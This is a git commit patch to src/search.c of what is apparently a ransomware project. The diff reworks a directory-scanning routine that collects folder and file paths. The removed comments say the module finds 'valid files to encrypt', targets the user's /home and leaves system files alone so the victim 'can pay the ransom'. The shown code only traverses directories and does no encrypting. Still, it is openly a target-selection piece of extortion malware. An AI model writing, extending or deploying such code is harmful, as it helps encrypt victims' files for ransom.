From c92b4f7cf884cde740d2c5986d6f88be7dcafcc2 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Tue, 18 Jun 2024 18:51:36 -0500 Subject: Almost make scanning folders work --- src/search.c | 122 ++++++++++++++++++++++++++++++++++++++--------------------- 1 file changed, 79 insertions(+), 43 deletions(-) (limited to 'src/search.c') diff --git a/src/search.c b/src/search.c index 22e5486..bb2cc0e 100644 --- a/src/search.c +++ b/src/search.c @@ -1,72 +1,108 @@ -/*** - * SEARCH - * - * Find valid files to encrypt -*/ - -/* -Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their -shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now) -*/ - #define _GNU_SOURCE #include "search.h" +#include "ll.h" + +// Scan a directory +// Sort inputs into files and folders +// Store the full path for each file/folder +// Search new folders #include #include #include +#include +#include #include #include -#include #include +#include + #include -int folderonly(const struct dirent64 *tester) { - // Filter out the current and previous dir macros - if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0) +int nodesort(const struct dirent *node, int (*S_IS_CALLBACK)(mode_t)) { + // Ignore . and .. folders + if(strcmp(node->d_name, ".") == 0 || strcmp(node->d_name, "..") == 0) return 0; - // Check if the "file" is specifically a dir - struct stat64 sb; - if(stat64(tester->d_name, &sb) < 0) { - error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); - return 0; // Don't try to traverse into a dir that we don't know is a dir or not + // Stat the file + struct stat sb; + if(stat(node->d_name, &sb) < 0) { + error(0, errno, "Couldn't stat file \"%s\"", node->d_name); + return 0; } - // Filter out non dirs - if((sb.st_mode & S_IFMT) != S_IFDIR) - return 0; + // Check if the mode is correct + if((*S_IS_CALLBACK)(sb.st_mode)) + return 1; + + // God I love function pointers - return 1; + // Not what is being checked for, exclude it + return 0; } -int fileonly(const struct dirent64 *tester) { - // Check if the "file" is specifically a dir - struct stat64 sb; - if(stat64(tester->d_name, &sb) < 0) { - error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); - return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten - } +int S_ISDIR_WRAPPER(mode_t mode) { + return S_ISDIR(mode); +} - // Filter out dirs - if((sb.st_mode & S_IFMT) != S_IFREG) - return 0; +int S_ISREG_WRAPPER(mode_t mode) { + return S_ISREG(mode); +} + +int foldersort(const struct dirent *node) { + return nodesort(node, S_ISDIR_WRAPPER); +} - return 1; +int filesort(const struct dirent *node) { + return nodesort(node, S_ISREG_WRAPPER); } -int main (void) { - struct dirent64 **eps; + +int main(void) { + /* + struct dirent **nodes; int n; - n = scandir64("./", &eps, folderonly, alphasort64); + char *actualpath = NULL; + n = scandir("./", &nodes, foldersort, alphasort); if(n >= 0) { - for(int cnt = 0; cnt < n; cnt++) - puts(eps[cnt]->d_name); - } else { - perror("Couldn't open dir"); - } + int cnt; + for(cnt = 0; cnt < n; ++cnt) { + actualpath = realpath(nodes[cnt]->d_name, actualpath); + puts(actualpath); + free(actualpath); + } + + } else + perror("Couldn't open the directory"); + //*/ + + struct dirent **nodes = NULL; + int n = 0; + + struct nodelist *scanner = nodelist_init(NULL), *holder = nodelist_init(NULL), *hstart = holder; + if(scanner == NULL) + error(-1, errno, "shit brokey"); + scanner->fullpath = realpath("./", NULL); + scanner->type = NODELIST_TYPE__FOLDER; + + n = scandir(scanner->fullpath, &nodes, foldersort, alphasort); + if(n > 0) { + for(int i = 0; i < n; i++) { + holder->fullpath = realpath(nodes[i]->d_name, NULL); + holder->type = NODELIST_TYPE__FOLDER; + holder->next = nodelist_init(NULL); + holder = holder->next; + } + } else + error(-1, 0, "Couldn't open folder"); + + nodelist_append(scanner, hstart); + + printf("Scanned paths:\n"); + for(struct nodelist *p = scanner; p->next != NULL; p = p->next) // Because of how holder is populated, checking p->next for being null makes sure printf doesn't try to do anything dumb like printing a null string + printf("%s\n", p->fullpath); return 0; } -- cgit v1.2.3